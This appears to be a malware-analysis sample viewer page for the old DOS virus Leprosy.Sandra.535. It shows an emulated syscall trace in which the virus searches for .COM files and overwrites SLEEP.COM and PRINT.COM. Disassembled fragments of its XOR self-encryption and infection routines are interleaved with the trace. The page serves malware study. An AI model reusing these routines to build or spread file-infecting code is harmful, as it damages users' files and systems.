Sample viewer

vx.netlux.org/Virus.DOS.Leprosy.Sandra.535

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:03:05.361352119Z 44 PC: 12b1f | Get time 0x12b1f: cmp byte ptr [0x106], 0
0x12b24: je 0x12b26
0x12b26: cmp dl, 0
0x12b29: je 0x12b1b
0x12b2b: mov byte ptr [0x106], dl
0x12b2f: mov byte ptr [0x164], 0
0x12b34: mov byte ptr [0x165], 2
0x12b39: mov byte ptr [0x16e], 0
0x12b3e: mov cx, 0x27
0x12b41: mov dx, 0x141
0x12b44: mov ah, 0x4e
0x12b46: int 0x21
0x12b48: cmp ax, 0x12
0x12b4b: je 0x12b50
0x12b4d: call 0x12b72
0x12b50: mov cx, 0x27
0x12b53: mov dx, 0x147
0x12b56: mov ah, 0x4e
0x12b58: int 0x21
0x12b5a: cmp ax, 0x12
2018-12-17T23:03:05.364394806Z 78 PC: 12b48 | Find first file
2018-12-17T23:03:05.371680123Z 78 PC: 12b5a | Find first file
2018-12-17T23:03:05.378209421Z 67 PC: 12b93 | Get or set file attributes
2018-12-17T23:03:05.400112023Z 61 PC: 12b99 | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:03:05.41429989Z 63 PC: 12ba8 | Read file or device (Read 20 bytes on handle 5)
2018-12-17T23:03:05.421526157Z 62 PC: 12bdc | Close file
2018-12-17T23:03:05.423833823Z 61 PC: 12be5 | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:03:05.432532677Z 44 PC: 12a55 | Get time 0x12a55: xor dh, dh
0x12a57: rcr dl, 1
0x12a59: rcr dl, 1
0x12a5b: mov cx, 0x217
0x12a5e: add cx, dx
0x12a60: mov ah, 0x20
0x12a62: add ah, 0x20
0x12a65: mov dx, 0x100
0x12a68: int 0x21
0x12a6a: call 0x12a6e
0x12a6d: ret
0x12a6e: mov bx, 0x141
0x12a71: mov ah, byte ptr [bx]
0x12a73: xor ah, byte ptr [0x106]
0x12a77: mov byte ptr [bx], ah
0x12a79: inc bx
0x12a7a: cmp bx, 0x358
0x12a7e: jle 0x12a71
0x12a80: ret
0x12a81: push ss
2018-12-17T23:03:05.436694086Z 64 PC: 12a6a | Write file or device (Write 679 bytes on handle 5)
2018-12-17T23:03:05.447157444Z 87 PC: 12c0d | Get or set file date and time
2018-12-17T23:03:05.449887984Z 62 PC: 12c15 | Close file
2018-12-17T23:03:05.458240538Z 67 PC: 12c22 | Get or set file attributes
2018-12-17T23:03:05.463593455Z 79 PC: 12bcc | Find next file
2018-12-17T23:03:05.466783138Z 67 PC: 12b93 | Get or set file attributes
2018-12-17T23:03:05.478810125Z 61 PC: 12b99 | Open file (Filename = 'PRINT.COM')
2018-12-17T23:03:05.486174842Z 63 PC: 12ba8 | Read file or device (Read 20 bytes on handle 5)
2018-12-17T23:03:05.493360082Z 62 PC: 12bdc | Close file
2018-12-17T23:03:05.49677608Z 61 PC: 12be5 | Open file (Filename = 'PRINT.COM')
2018-12-17T23:03:05.504478863Z 44 PC: 12a55 | Get time 0x12a55: xor dh, dh
0x12a57: rcr dl, 1
0x12a59: rcr dl, 1
0x12a5b: mov cx, 0x217
0x12a5e: add cx, dx
0x12a60: mov ah, 0x20
0x12a62: add ah, 0x20
0x12a65: mov dx, 0x100
0x12a68: int 0x21
0x12a6a: call 0x12a6e
0x12a6d: ret
0x12a6e: mov bx, 0x141
0x12a71: mov ah, byte ptr [bx]
0x12a73: xor ah, byte ptr [0x106]
0x12a77: mov byte ptr [bx], ah
0x12a79: inc bx
0x12a7a: cmp bx, 0x358
0x12a7e: jle 0x12a71
0x12a80: ret
0x12a81: push ss
2018-12-17T23:03:05.507153769Z 64 PC: 12a6a | Write file or device (Write 680 bytes on handle 5)
2018-12-17T23:03:05.517957908Z 87 PC: 12c0d | Get or set file date and time
2018-12-17T23:03:05.524630344Z 62 PC: 12c15 | Close file
2018-12-17T23:03:05.540957341Z 67 PC: 12c22 | Get or set file attributes